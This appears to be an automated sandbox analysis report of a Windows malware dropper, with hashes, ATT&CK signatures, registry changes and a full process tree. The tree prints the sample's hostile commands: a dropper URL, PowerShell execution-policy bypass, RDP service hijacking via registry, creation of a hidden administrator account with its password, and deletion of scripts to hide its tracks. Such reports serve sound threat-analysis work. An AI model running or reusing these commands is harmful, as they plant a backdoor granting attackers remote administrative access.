e5dcf030290fd293d259f1c8ffbb65328c371e07fa34419af7723429599a7f6e

Analysis

max time kernel
58s
max time network
103s
platform
windows10_x64
resource
win10v20210408
submitted
02-07-2021 06:03

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General

Target

b8c76065042d1557af857a48a5ac0f3e.exe
Size

5.7MB
MD5

b8c76065042d1557af857a48a5ac0f3e
SHA1

7b5077cd4aaa5c97a768e9722828ebac94abe1f8
SHA256

e5dcf030290fd293d259f1c8ffbb65328c371e07fa34419af7723429599a7f6e
SHA512

59aa84a81ac66288b0d9b2d160ce6c3895d5a02bd48bceff659aeaf21df28c4996585378d302535f50b06d0592d65b5e6612714f7bec4d0df39e9bf514d54eba

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
13	2312	powershell.exe
15	2312	powershell.exe
16	2312	powershell.exe
17	2312	powershell.exe
19	2312	powershell.exe
21	2312	powershell.exe
23	2312	powershell.exe
25	2312	powershell.exe
27	2312	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000001ab3d-223.dat	upx
behavioral2/files/0x000600000001ab41-224.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
2532	Process not Found
2532	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_ggblshti.zpc.psm1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIBC80.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIBCA3.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_hht1fwfa.ehw.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIBC91.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIBC22.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIBCA2.tmp	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 6ead5207ab2cd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2276	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	16	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3920	powershell.exe
3920	powershell.exe
3920	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3884	powershell.exe
3884	powershell.exe
3884	powershell.exe
3196	powershell.exe
3196	powershell.exe
3196	powershell.exe
3920	powershell.exe
3920	powershell.exe
3920	powershell.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
640	Process not Found
640	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeDebugPrivilege	3992	powershell.exe
Token: SeIncreaseQuotaPrivilege	3992	powershell.exe
Token: SeSecurityPrivilege	3992	powershell.exe
Token: SeTakeOwnershipPrivilege	3992	powershell.exe
Token: SeLoadDriverPrivilege	3992	powershell.exe
Token: SeSystemProfilePrivilege	3992	powershell.exe
Token: SeSystemtimePrivilege	3992	powershell.exe
Token: SeProfSingleProcessPrivilege	3992	powershell.exe
Token: SeIncBasePriorityPrivilege	3992	powershell.exe
Token: SeCreatePagefilePrivilege	3992	powershell.exe
Token: SeBackupPrivilege	3992	powershell.exe
Token: SeRestorePrivilege	3992	powershell.exe
Token: SeShutdownPrivilege	3992	powershell.exe
Token: SeDebugPrivilege	3992	powershell.exe
Token: SeSystemEnvironmentPrivilege	3992	powershell.exe
Token: SeRemoteShutdownPrivilege	3992	powershell.exe
Token: SeUndockPrivilege	3992	powershell.exe
Token: SeManageVolumePrivilege	3992	powershell.exe
Token: 33	3992	powershell.exe
Token: 34	3992	powershell.exe
Token: 35	3992	powershell.exe
Token: 36	3992	powershell.exe
Token: SeDebugPrivilege	3884	powershell.exe
Token: SeIncreaseQuotaPrivilege	3884	powershell.exe
Token: SeSecurityPrivilege	3884	powershell.exe
Token: SeTakeOwnershipPrivilege	3884	powershell.exe
Token: SeLoadDriverPrivilege	3884	powershell.exe
Token: SeSystemProfilePrivilege	3884	powershell.exe
Token: SeSystemtimePrivilege	3884	powershell.exe
Token: SeProfSingleProcessPrivilege	3884	powershell.exe
Token: SeIncBasePriorityPrivilege	3884	powershell.exe
Token: SeCreatePagefilePrivilege	3884	powershell.exe
Token: SeBackupPrivilege	3884	powershell.exe
Token: SeRestorePrivilege	3884	powershell.exe
Token: SeShutdownPrivilege	3884	powershell.exe
Token: SeDebugPrivilege	3884	powershell.exe
Token: SeSystemEnvironmentPrivilege	3884	powershell.exe
Token: SeRemoteShutdownPrivilege	3884	powershell.exe
Token: SeUndockPrivilege	3884	powershell.exe
Token: SeManageVolumePrivilege	3884	powershell.exe
Token: 33	3884	powershell.exe
Token: 34	3884	powershell.exe
Token: 35	3884	powershell.exe
Token: 36	3884	powershell.exe
Token: SeDebugPrivilege	3196	powershell.exe
Token: SeIncreaseQuotaPrivilege	3196	powershell.exe
Token: SeSecurityPrivilege	3196	powershell.exe
Token: SeTakeOwnershipPrivilege	3196	powershell.exe
Token: SeLoadDriverPrivilege	3196	powershell.exe
Token: SeSystemProfilePrivilege	3196	powershell.exe
Token: SeSystemtimePrivilege	3196	powershell.exe
Token: SeProfSingleProcessPrivilege	3196	powershell.exe
Token: SeIncBasePriorityPrivilege	3196	powershell.exe
Token: SeCreatePagefilePrivilege	3196	powershell.exe
Token: SeBackupPrivilege	3196	powershell.exe
Token: SeRestorePrivilege	3196	powershell.exe
Token: SeShutdownPrivilege	3196	powershell.exe
Token: SeDebugPrivilege	3196	powershell.exe
Token: SeSystemEnvironmentPrivilege	3196	powershell.exe
Token: SeRemoteShutdownPrivilege	3196	powershell.exe
Token: SeUndockPrivilege	3196	powershell.exe
Token: SeManageVolumePrivilege	3196	powershell.exe
Token: 33	3196	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 528 wrote to memory of 3920	528	b8c76065042d1557af857a48a5ac0f3e.exe	75
PID 528 wrote to memory of 3920	528	b8c76065042d1557af857a48a5ac0f3e.exe	75
PID 3920 wrote to memory of 3956	3920	powershell.exe	77
PID 3920 wrote to memory of 3956	3920	powershell.exe	77
PID 3956 wrote to memory of 952	3956	csc.exe	78
PID 3956 wrote to memory of 952	3956	csc.exe	78
PID 3920 wrote to memory of 3992	3920	powershell.exe	81
PID 3920 wrote to memory of 3992	3920	powershell.exe	81
PID 3920 wrote to memory of 3884	3920	powershell.exe	84
PID 3920 wrote to memory of 3884	3920	powershell.exe	84
PID 3920 wrote to memory of 3196	3920	powershell.exe	86
PID 3920 wrote to memory of 3196	3920	powershell.exe	86
PID 3920 wrote to memory of 512	3920	powershell.exe	89
PID 3920 wrote to memory of 512	3920	powershell.exe	89
PID 3920 wrote to memory of 2276	3920	powershell.exe	90
PID 3920 wrote to memory of 2276	3920	powershell.exe	90
PID 3920 wrote to memory of 3992	3920	powershell.exe	91
PID 3920 wrote to memory of 3992	3920	powershell.exe	91
PID 3920 wrote to memory of 4036	3920	powershell.exe	92
PID 3920 wrote to memory of 4036	3920	powershell.exe	92
PID 4036 wrote to memory of 2308	4036	net.exe	93
PID 4036 wrote to memory of 2308	4036	net.exe	93
PID 3920 wrote to memory of 2196	3920	powershell.exe	94
PID 3920 wrote to memory of 2196	3920	powershell.exe	94
PID 2196 wrote to memory of 3132	2196	cmd.exe	95
PID 2196 wrote to memory of 3132	2196	cmd.exe	95
PID 3132 wrote to memory of 744	3132	cmd.exe	96
PID 3132 wrote to memory of 744	3132	cmd.exe	96
PID 744 wrote to memory of 1604	744	net.exe	97
PID 744 wrote to memory of 1604	744	net.exe	97
PID 3920 wrote to memory of 3728	3920	powershell.exe	98
PID 3920 wrote to memory of 3728	3920	powershell.exe	98
PID 3728 wrote to memory of 672	3728	cmd.exe	99
PID 3728 wrote to memory of 672	3728	cmd.exe	99
PID 672 wrote to memory of 3956	672	cmd.exe	100
PID 672 wrote to memory of 3956	672	cmd.exe	100
PID 3956 wrote to memory of 3580	3956	net.exe	101
PID 3956 wrote to memory of 3580	3956	net.exe	101
PID 3912 wrote to memory of 1356	3912	cmd.exe	105
PID 3912 wrote to memory of 1356	3912	cmd.exe	105
PID 1356 wrote to memory of 3752	1356	net.exe	106
PID 1356 wrote to memory of 3752	1356	net.exe	106
PID 2212 wrote to memory of 2304	2212	cmd.exe	109
PID 2212 wrote to memory of 2304	2212	cmd.exe	109
PID 2304 wrote to memory of 2248	2304	net.exe	110
PID 2304 wrote to memory of 2248	2304	net.exe	110
PID 4036 wrote to memory of 2312	4036	cmd.exe	113
PID 4036 wrote to memory of 2312	4036	cmd.exe	113
PID 2312 wrote to memory of 3360	2312	net.exe	114
PID 2312 wrote to memory of 3360	2312	net.exe	114
PID 560 wrote to memory of 3980	560	cmd.exe	117
PID 560 wrote to memory of 3980	560	cmd.exe	117
PID 3980 wrote to memory of 1356	3980	net.exe	118
PID 3980 wrote to memory of 1356	3980	net.exe	118
PID 1580 wrote to memory of 2280	1580	cmd.exe	121
PID 1580 wrote to memory of 2280	1580	cmd.exe	121
PID 2280 wrote to memory of 2304	2280	net.exe	122
PID 2280 wrote to memory of 2304	2280	net.exe	122
PID 2248 wrote to memory of 788	2248	cmd.exe	125
PID 2248 wrote to memory of 788	2248	cmd.exe	125
PID 788 wrote to memory of 2312	788	net.exe	126
PID 788 wrote to memory of 2312	788	net.exe	126
PID 2340 wrote to memory of 3880	2340	cmd.exe	129
PID 2340 wrote to memory of 3880	2340	cmd.exe	129

C:\Users\Admin\AppData\Local\Temp\b8c76065042d1557af857a48a5ac0f3e.exe
"C:\Users\Admin\AppData\Local\Temp\b8c76065042d1557af857a48a5ac0f3e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fbxzn2xm\fbxzn2xm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES67C8.tmp" "c:\Users\Admin\AppData\Local\Temp\fbxzn2xm\CSC7EFC48DFCFD41A9A4EFE4C8A4D1A959.TMP"
      4⤵
      PID:952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3196
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:512
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2276
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:3992
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4036
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2308
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2196
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3132
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:744
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1604
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3728
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:672
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3956
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3580
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2280
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1064

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3912
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:3752

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc yJqM5jd9 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc yJqM5jd9 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc yJqM5jd9 /add
    3⤵
    PID:2248

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4036
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:3360

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:560
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:1356

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1580
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2304

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc yJqM5jd9
1⤵
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc yJqM5jd9
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:788
